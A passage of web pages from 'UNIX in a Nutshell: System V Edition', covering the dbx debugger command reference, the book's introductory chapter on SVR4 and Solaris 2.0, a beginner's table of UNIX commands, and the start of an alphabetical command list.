Same as next, but do a single instruction instead of a source line.

Previous: Reference: next | UNIX in a Nutshell: System V Edition | Next: Reference: print
Reference: next | Book Index | Reference: print
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: print

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: nexti Chapter 20
Program Debugging 		Next: Reference: pwd

print

print expressions

Print the values of one or more comma-separated expressions.

Previous: Reference: nexti | UNIX in a Nutshell: System V Edition | Next: Reference: pwd
Reference: nexti | Book Index | Reference: pwd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: pwd

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: print Chapter 20
Program Debugging 		Next: Reference: quit

pwd

pwd

Print the working directory for dbx.

Previous: Reference: print | UNIX in a Nutshell: System V Edition | Next: Reference: quit
Reference: print | Book Index | Reference: quit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: quit

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: pwd Chapter 20
Program Debugging 		Next: Reference: replay

quit

quit

Exit dbx.

Previous: Reference: pwd | UNIX in a Nutshell: System V Edition | Next: Reference: replay
Reference: pwd | Book Index | Reference: replay
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: replay

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: quit Chapter 20
Program Debugging 		Next: Reference: rerun

replay

replay [-n]

A save-restore combination. The default action (n is 1) works like an undo.

Previous: Reference: quit | UNIX in a Nutshell: System V Edition | Next: Reference: rerun
Reference: quit | Book Index | Reference: rerun
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rerun

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: replay Chapter 20
Program Debugging 		Next: Reference: restore

rerun

rerun [arguments]

Without arguments, redo the previous run command (and its arguments). Otherwise, this command is the same as run.

Previous: Reference: replay | UNIX in a Nutshell: System V Edition | Next: Reference: restore
Reference: replay | Book Index | Reference: restore
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: restore

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rerun Chapter 20
Program Debugging 		Next: Reference: return

restore

restore [file]

Redo dbx commands stored via save in file or in special buffer.

Previous: Reference: rerun | UNIX in a Nutshell: System V Edition | Next: Reference: return
Reference: rerun | Book Index | Reference: return
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: return

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: restore Chapter 20
Program Debugging 		Next: Reference: run

return

return [procedure]

Continue until a return to procedure (or current procedure) is called.

Previous: Reference: restore | UNIX in a Nutshell: System V Edition | Next: Reference: run
Reference: restore | Book Index | Reference: run
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: run

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: return Chapter 20
Program Debugging 		Next: Reference: save

run

run [arguments]

Begin executing the object file, passing optional command-line arguments. The arguments can include input or output redirection to a named file.

Previous: Reference: return | UNIX in a Nutshell: System V Edition | Next: Reference: save
Reference: return | Book Index | Reference: save
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: save

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: run Chapter 20
Program Debugging 		Next: Reference: set

save

save [-n] [file]

Store dbx commands entered since last run, rerun, or debug. Or save all but the last n. Save either to file or to a buffer accessed by restore.

Previous: Reference: run | UNIX in a Nutshell: System V Edition | Next: Reference: set
Reference: run | Book Index | Reference: set
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: set

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: save Chapter 20
Program Debugging 		Next: Reference: setenv

set

set var [= expr]

Define value expr for variable var. See also unset. Built-in variables include:

$frame

If set to an address, use the stack frame it points to. (Useful for kernel debugging.)

$hexitem

When set, print hexadecimal values for specified item. item can be chars, ints, offsets, or strings.

$listwindow

Default number of lines to show using list command (default is 10).

$mapaddrs

When set, start mapping addresses; when unset, stop. (Useful for kernel debugging.)

$unsafecall

When set, turn off type checking of parameters in call statements. Use with care.

$unsafeassign

When set, turn off type checking in assign statements. Use with care.

Previous: Reference: save | UNIX in a Nutshell: System V Edition | Next: Reference: setenv
Reference: save | Book Index | Reference: setenv
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: setenv

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: set Chapter 20
Program Debugging 		Next: Reference: sh

setenv

setenv VAR string

Set environment variable VAR to string.

Previous: Reference: set | UNIX in a Nutshell: System V Edition | Next: Reference: sh
Reference: set | Book Index | Reference: sh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sh

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: setenv Chapter 20
Program Debugging 		Next: Reference: source

sh

sh command

Pass command to the shell for execution.

Previous: Reference: setenv | UNIX in a Nutshell: System V Edition | Next: Reference: source
Reference: setenv | Book Index | Reference: source
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: source

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sh Chapter 20
Program Debugging 		Next: Reference: status

source

source file

Read commands for dbx from file. E.g., file might be created by a previous status command.

Previous: Reference: sh | UNIX in a Nutshell: System V Edition | Next: Reference: status
Reference: sh | Book Index | Reference: status
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: status

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: source Chapter 20
Program Debugging 		Next: Reference: step

status

status [> file]

Show active trace, stop, and when commands; store output in file.

Previous: Reference: source | UNIX in a Nutshell: System V Edition | Next: Reference: step
Reference: source | Book Index | Reference: step
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: step

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: status Chapter 20
Program Debugging 		Next: Reference: step

step

step [n]

Execute n source lines. Default is 1. step goes into functions. See also next.

Previous: Reference: status | UNIX in a Nutshell: System V Edition | Next: Reference: step
Reference: status | Book Index | Reference: step
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: stepi

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: step Chapter 20
Program Debugging 		Next: Reference: stop

stepi

stepi

Same as step, but do a single instruction instead of a source line.

Previous: Reference: step | UNIX in a Nutshell: System V Edition | Next: Reference: stop
Reference: step | Book Index | Reference: stop
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: stop

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: stepi Chapter 20
Program Debugging 		Next: Reference: stopi

stop

stop restriction [if cond]

Stop execution if specified restriction is true. See trace about cond.

Restriction

at n

Source line n is reached.

if cond

Condition cond is true.

in func

Procedure or function func is called.

inclass class

Each method of C++ class is called.

infunction func

Top-level function in a C++ module is called.

inmethod member

Named member of any C++ class is called.

var

Variable var has changed.

Previous: Reference: stepi | UNIX in a Nutshell: System V Edition | Next: Reference: stopi
Reference: stepi | Book Index | Reference: stopi
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: stopi

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: stop Chapter 20
Program Debugging 		Next: Reference: trace

stopi

stopi restriction [if cond]

Similar to stop, but set a stop using machine instruction addresses. See trace about cond.

Restriction

at address

Stop execution at address

var

Stop execution if value of variable var changes.

Previous: Reference: stop | UNIX in a Nutshell: System V Edition | Next: Reference: trace
Reference: stop | Book Index | Reference: trace
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: trace

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: stopi Chapter 20
Program Debugging 		Next: Reference: tracei

trace

trace [restriction] [if cond]

Report tracing information as program is executed, according to the restriction. With no arguments, all source lines are printed before being executed. cond is a Boolean expression; if it evaluates to false, then the tracing information is not printed.

Restriction

in func

Report while executing func.

inclass class

Print name of function that called any member of class.

infunction func

Print name of function that called any top-level C++ func.

inmethod member

Print name of function that called member of any class.

expr at n

Print value of expr each time line n is reached.

func

Print name of function that called func.

n

Show source line n before executing it.

var

Print value of var each time it changes.

var [in func]

Same as above, but print information only while executing from within the specified procedure or function.

Previous: Reference: stopi | UNIX in a Nutshell: System V Edition | Next: Reference: tracei
Reference: stopi | Book Index | Reference: tracei
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: tracei

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: trace Chapter 20
Program Debugging 		Next: Reference: unalias

tracei

tracei [restriction] [if cond]

Similar to trace, but trace using machine instruction addresses.

Restriction

addr

Start tracing at address addr.

var [at addr]

Start tracing variable var at address addr.

Previous: Reference: trace | UNIX in a Nutshell: System V Edition | Next: Reference: unalias
Reference: trace | Book Index | Reference: unalias
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: unalias

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: tracei Chapter 20
Program Debugging 		Next: Reference: undisplay

unalias

unalias name

Remove the alias name. See also alias.

Previous: Reference: tracei | UNIX in a Nutshell: System V Edition | Next: Reference: undisplay
Reference: tracei | Book Index | Reference: undisplay
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: undisplay

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: unalias Chapter 20
Program Debugging 		Next: Reference: unset

undisplay

undisplay [expressions]

Stop displaying expressions (see display). expression can be a number, in which case it refers to the item-number in a display list.

Previous: Reference: unalias | UNIX in a Nutshell: System V Edition | Next: Reference: unset
Reference: unalias | Book Index | Reference: unset
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: unset

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: undisplay Chapter 20
Program Debugging 		Next: Reference: up

unset

unset var

Remove the debugger variable var. See also set.

Previous: Reference: undisplay | UNIX in a Nutshell: System V Edition | Next: Reference: up
Reference: undisplay | Book Index | Reference: up
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: up

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: unset Chapter 20
Program Debugging 		Next: Reference: use

up

up [n]

Move current function up n levels on stack. Default is 1. See also down.

Previous: Reference: unset | UNIX in a Nutshell: System V Edition | Next: Reference: use
Reference: unset | Book Index | Reference: use
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: use

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: up Chapter 20
Program Debugging 		Next: Reference: whatis

use

use [directories]

Define one or more directories to search when looking for source files. With no argument, print the current search directories.

Previous: Reference: up | UNIX in a Nutshell: System V Edition | Next: Reference: whatis
Reference: up | Book Index | Reference: whatis
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: whatis

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: use Chapter 20
Program Debugging 		Next: Reference: when

whatis

whatis [-r] name

Print the declaration of the identifier, class, or type name. -r recursively prints the declarations of inherited classes.

Previous: Reference: use | UNIX in a Nutshell: System V Edition | Next: Reference: when
Reference: use | Book Index | Reference: when
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: when

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: whatis Chapter 20
Program Debugging 		Next: Reference: where

when

when restriction commands

Execute one or more dbx commands (separated by semi-colons) when restriction is true. See stop for list of restrictions.

Previous: Reference: whatis | UNIX in a Nutshell: System V Edition | Next: Reference: where
Reference: whatis | Book Index | Reference: where
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: where

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: when Chapter 20
Program Debugging 		Next: Reference: whereis

where

where [n]

List all active functions on the stack, or only the top n.

Previous: Reference: when | UNIX in a Nutshell: System V Edition | Next: Reference: whereis
Reference: when | Book Index | Reference: whereis
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: whereis

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: where Chapter 20
Program Debugging 		Next: Reference: which

whereis

whereis identifier

Print the fully-qualified name of symbols that match identifier.

Previous: Reference: where | UNIX in a Nutshell: System V Edition | Next: Reference: which
Reference: where | Book Index | Reference: which
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: which

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: whereis Chapter 20
Program Debugging 		Next: Reference: search

which

which identifier

Print the fully-qualified name of identifier.

Previous: Reference: whereis | UNIX in a Nutshell: System V Edition | Next: Reference: search
Reference: whereis | Book Index | Reference: search
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] Introduction

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: We'd Like to Hear From You Chapter 1 Next: 1.2 Bundling

1. Introduction

Contents:
Merging the Traditions
Bundling
What's in the Quick Ref
Beginner's Guide
Guide for Users of BSD-derived Systems

The UNIX operating system originated from AT&T (now USL) in the early 1970's. Because UNIX was able to run on different hardware from different vendors, this encouraged developers to modify UNIX and distribute it as their own value-added version of UNIX. Separate UNIX traditions evolved as a result: USL's System V, Berkeley Standard Distribution (BSD, from the University of California, Berkeley), Xenix, etc.

1.1 Merging the Traditions

Today, UNIX developers are trying to blend the different traditions back into a more standard version. (The ongoing work on POSIX, an international standard based on System V and BSD, is influencing this movement.) This quick reference describes two systems that offer what many people consider to be a "more standard" version of UNIX: System V Release 4 (SVR4) and Solaris 2.0.

SVR4, which was developed jointly by USL (a division of AT&T) and Sun Microsystems, has merged features from BSD and SVR3. This adds about two dozen BSD commands (plus some new SVR4 commands) to the basic UNIX command set. In addition, SVR4 provides a BSD Compatibility Package, a kind of "second string" command group. This package includes some of the most fundamental BSD commands, and its purpose is to help users of BSD-derived systems make the transition to SVR4.

Solaris 2.0 is a distributed computing environment from SunSoft (a division of Sun Microsystems). The history of Solaris 2.0 is more complicated.

Solaris 2.0 includes the SunOS 5.0 operating system plus additional features such as OpenWindows. SunOS 5.0, in turn, merges SunOS 4.1 and SVR4. Most of the new content comes from SVR4. As a result, Solaris 2.0 is based on SVR4 but contains additional BSD/SunOS features. To help in the transition from the old (largely BSD-based) SunOS, Solaris 2.0 provides the BSD/SunOS Compatibility Package and the Binary Compatibility Package.

Previous: We'd Like to Hear From You | UNIX in a Nutshell: System V Edition | Next: 1.2 Bundling
We'd Like to Hear From You | Book Index | 1.2 Bundling
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.2 Bundling

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 1.1 Merging the Traditions Chapter 1
Introduction 		Next: 1.3 What's in the Quick Ref

1.2 Bundling

Another issue affecting UNIX systems is the idea of bundling. UNIX has many features-sometimes more than you need to use. Nowadays, UNIX systems are usually split, or bundled, into various component packages. Some components are included automatically in the system you buy; others are optional-you get them only if you pay extra. Bundling lets you to select only the components you need. Typical bundling includes the following:

Basic System

Basic commands and utilities.

Programming

Compilers, debuggers, and libraries.

Text Processing

Troff, macros, and related tools.

Networking

Utilities for connecting to remote machines, including commands like rlogin, rcp, etc.

Windowing

Graphical user interfaces such as OPEN LOOK and Motif.

Bundling depends on the vendor. For example, Solaris 2.0 is shipped with OpenWindows, a windowing environment based on OPEN LOOK; you don't have to buy it as a separate package. For other vendors, the windowing package may be an extra-cost option. Similarly, some vendors ship text processing tools or compilers, and others don't.

Previous: 1.1 Merging the Traditions | UNIX in a Nutshell: System V Edition | Next: 1.3 What's in the Quick Ref
1.1 Merging the Traditions | Book Index | 1.3 What's in the Quick Ref
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.3 What's in the Quick Ref

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 1.2 Bundling Chapter 1
Introduction 		Next: 1.4 Beginner's Guide

1.3 What's in the Quick Ref

This guide presents the major features of generic SVR4, plus a few extras from the compatibility packages and from Solaris 2.0. In addition, this guide presents sections on emacs and RCS. Although they are not part of the standard SVR4 distribution, they are found on many UNIX systems because they are useful add-ons.

But keep in mind: if your system doesn't include all the component packages, there will be commands in this quick ref that you won't be able to find on your system.

The summary of UNIX commands in Section 2 makes up a large part of this book. Only user/programmer commands are included; administrative commands are ignored. Section 2 describes the following set:

  • Commands from SVR3.

  • New commands and options in SVR4.

  • Selected commands from the compatibility packages and from Solaris 2.0, such as dbx (the debugger) and openwin (the start-up program for OpenWindows).

SVR3 users should note that many commands listed in Section 2 are not in SVR3. These include:

apropos | face | iconv | mcs | rksh | users
atq | fmli | keylogin | mkmsgs | sccs | uudecode
atrm | fmt | keylogout | nawk | script | uuencode
chkey | fmtmsg | ksh | notify | soelim | uuglist
clear | fold | ldd | openwin | srchtxt | vacation
cof2elf | gcore | lpq | pic | strings | w
compress | gencat | lpr | printenv | talk | whatis
ctags | gettxt | lprm | printf | truss | which
dbx | gprof | lprof | ptx | tset | whoami
download | head | lptest | relogin | uncompress | whois
dpost | hostid | mailalias | reset | uptime | zcat
exstr | hostname |  |  |  |

Previous: 1.2 Bundling | UNIX in a Nutshell: System V Edition | Next: 1.4 Beginner's Guide
1.2 Bundling | Book Index | 1.4 Beginner's Guide
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.4 Beginner's Guide

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 1.3 What's in the Quick Ref Chapter 1
Introduction 		Next: 1.5 Guide for Users of BSD-derived Systems

1.4 Beginner's Guide

If you're just beginning to work on a UNIX system, the abundance of commands might prove daunting. To help orient you, the following tables present a small sampling of commands on various topics.

1.4.1 Communication

cu | Connect to UNIX system.
ftp | File transfer protocol.
login | Sign on to UNIX.
mailx | Read or send mail.
rlogin | Sign on to remote UNIX.
talk | Write to other terminals.
telnet | Connect to another system.
vacation | Respond to mail automatically.
write | Write to other terminals.

1.4.2 Comparisons

cmp | Compare two files.
comm | Compare items in files.
diff | Compare two files.
diff3 | Compare three files.
dircmp | Compare directories.
sdiff | Compare two files, side by side.

1.4.3 File Management

cat | Join files or display them.
cd | Change directory.
chmod | Change access modes on files.
cp | Copy files.
csplit | Break files at specific locations.
file | Determine a file's type.
head | Show the first few lines of a file.
install | Set up system files.
ln | Create filename aliases.
ls | List files or directories.
mkdir | Create a directory.
more | Display files by screenful.
mv | Move or rename files or directories.
pwd | Print your working directory.
rcp | Copy files to remote system.
rm | Remove files.
rmdir | Remove directories.
split | Split files evenly.
tail | Show the last few lines of a file.
wc | Count lines, words, and characters.

1.4.4 Miscellaneous

banner | Make posters from words.
bc | Precision calculator.
cal | Display calendar.
calendar | Check for reminders.
clear | Clear the screen.
kill | Terminate a running command.
man | Get information on a command.
nice | Reduce a job's priority.
nohup | Preserve a job after logging out.
passwd | Set password.
script | Produce a transcript of your login session.
spell | Report misspelled words.
su | Become a superuser.

1.4.5 Printing

cancel | Cancel a printer request.
lp | Send to the printer.
lpstat | Get printer status.
pr | Format and paginate for printing.

1.4.6 Programming

cb | C source code "beautifier."
cc | C compiler.
cflow | C function flowchart.
ctags | C function references.
ctrace | C debugger.
cxref | C cross-references.
lint | C debugger.
ld | Link editor.
lex | Lexical analyzer.
make | Execute commands in a specified order.
od | Dump input in various formats.
sdb | Symbolic debugger.
strip | Remove data from an object file.
truss | Trace signals and system calls.
yacc | Compiler used with lex.

1.4.7 Searching

egrep | Extended version of grep.
fgrep | Search files for literal words.
find | Search the system for filenames.
grep | Search files for text patterns.
strings | Search binary files for text patterns.

1.4.8 Shell Programming

echo | Repeat input on the output.
expr | Perform arithmetic and comparisons.
line | Read a line of input.
sleep | Pause during processing.
test | Test a condition.

1.4.9 Storage

compress | Compress files to free up space.
cpio | Copy archives in or out.
pack | Pack files to free up space.
pcat | Display contents of packed files.
tar | Tape archiver.
uncompress | Expand compressed (.Z) files.
unpack | Expand packed (.z) files.
zcat | Display contents of compressed files.

1.4.10 System Status

at | Execute commands later.
chgrp | Change file group.
chown | Change file owner.
crontab | Automate commands.
date | Display or set date.
df | Show free disk space.
du | Show disk usage.
env | Show environment variables.
finger | Point out information about users.
ps | Show processes.
ruptime | Show loads on working systems.
shutdown | Revert to single-user mode.
stty | Set or display terminal settings.
who | Show who is logged on.

1.4.11 Text Processing

cut | Select columns for display.
ex | Line-editor underlying vi.
fmt | Produce roughly uniform line lengths.
fold | Produce exactly uniform line lengths.
join | Merge different columns into a database.
nawk | New version of awk (pattern-matching language for database files).
paste | Merge columns or switch order.
sed | Noninteractive text editor.
sort | Sort or merge files.
tr | Translate (redefine) characters.
uniq | Find repeated or unique lines in a file.
vi | Visual text editor.
xargs | Process many arguments in manageable portions.

1.4.12 Troff

All but deroff are in the compatibility packages.

deroff | Remove troff codes.
eqn | Preprocessor for equations.
nroff | Formatter for terminal display.
pic | Preprocessor for line graphics.
tbl | Preprocessor for tables.
troff | Formatter for typesetting.

Previous: 1.3 What's in the Quick Ref | UNIX in a Nutshell: System V Edition | Next: 1.5 Guide for Users of BSD-derived Systems
1.3 What's in the Quick Ref | Book Index | 1.5 Guide for Users of BSD-derived Systems
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.5 Guide for Users of BSD-derived Systems

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 1.4 Beginner's Guide Chapter 1
Introduction 		Next: 2. UNIX Commands

1.5 Guide for Users of BSD-derived Systems

Those of you making a transition to SVR4 from a BSD-derived system should note that BSD commands reside in your system's /usr/ucb directory. This is especially important when using certain commands, because the compatibility packages include several commands that have an existing counterpart in SVR4, and the two versions work slightly differently. If your PATH variable specifies /usr/ucb before the SVR4 command directories (e.g., /usr), you'll end up running the BSD version of the command. Check your PATH variable to make sure that you're getting what you want. The commands that have both BSD and SVR4 variants include:

basename | du | ln | sum
cc | echo | ls | test
chown | groups | ps | tr
deroff | install | shutdown | vacation
df | ld | stty |

This guide describes the SVR4 version of the above commands.

Previous: 1.4 Beginner's Guide | UNIX in a Nutshell: System V Edition | Next: 2. UNIX Commands
1.4 Beginner's Guide | Book Index | 2. UNIX Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] UNIX Commands

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 1.5 Guide for Users of BSD-derived Systems Chapter 2 Next: 3. The UNIX Shell: An Overview

2. UNIX Commands

Contents:
Alphabetical Summary of Commands

This section presents the UNIX commands of interest to users and programmers. Most of these commands appear in the "Commands" section of the User's Reference Manual and Programmer's Reference Manual for UNIX System V Release 4 (SVR4). This section describes additional commands from the compatibility packages; these commands are prefixed with /usr/ucb, the name of the directory in which they reside. With some exceptions, these commands are only in SVR4. Also included here are commands specific to Solaris 2.0, such as the debugger dbx and the start-up script for OpenWindows, openwin.

Each entry is labeled with the command name on the outer edge of the page. The syntax line is followed by a brief description and a list of all available options. (Obsolete options have been marked as "SVR3 only.") Many commands come with examples at the end of the entry. If you need only a quick reminder or suggestion about a command, you can skip directly to the examples.

Some options can be invoked only by a user with special system privileges. Such a person is often called a superuser. In this book we use the term privileged user instead.

Typographic conventions for describing command syntax are listed in the Preface. For additional help in locating commands, see the Command Index (Section 22) at the back of this guide.

2.1 Alphabetical Summary of Commands

  • admin
  • apropos
  • ar
  • as
  • at
  • atq
  • atrm
  • awk
  • banner
  • basename
  • batch
  • bc
  • bdiff
  • bfs
  • cal
  • calendar
  • cancel
  • cat
  • cb
  • cc
  • cd
  • cdc
  • cflow
  • chgrp
  • chkey
  • chmod
  • chown
  • clear
  • cmp
  • cof2elf
  • col
  • comb
  • comm
  • compress
  • cp
  • cpio
  • crontab
  • crypt
  • cscope
  • csh
  • csplit
  • ctags
  • ctrace
  • cu
  • cut
  • cxref
  • date
  • dbx
  • dc
  • dd
  • delta
  • deroff
  • df
  • diff
  • diff3
  • diffmk
  • dircmp
  • dirname
  • dis
  • download
  • dpost
  • du
  • echo
  • ed
  • edit
  • egrep
  • env
  • eqn
  • ex
  • expr
  • exstr
  • face
  • factor
  • false
  • fgrep
  • file
  • find
  • finger
  • fmli
  • fmt
  • fmtmsg
  • fold
  • ftp
  • gcore
  • gencat
  • get
  • getopts
  • gettxt
  • gprof
  • grep
  • groups
  • head
  • help
  • hostid
  • hostname
  • iconv
  • id
  • install
  • ipcrm
  • ipcs
  • ismpx
  • join
  • jsh
  • jterm
  • jwin
  • keylogin
  • keylogout
  • kill
  • ksh
  • layers
  • ld
  • ldd
  • lex
  • line
  • lint
  • ln
  • login
  • logname
  • lorder
  • lp
  • lpq
  • lpr
  • lprm
  • lprof
  • lpstat
  • lptest
  • ls
  • m4
  • m4
  • mail
  • mailalias
  • mailx
  • make
  • makekey
  • man
  • mcs
  • mesg
  • mkdir
  • mkmsgs
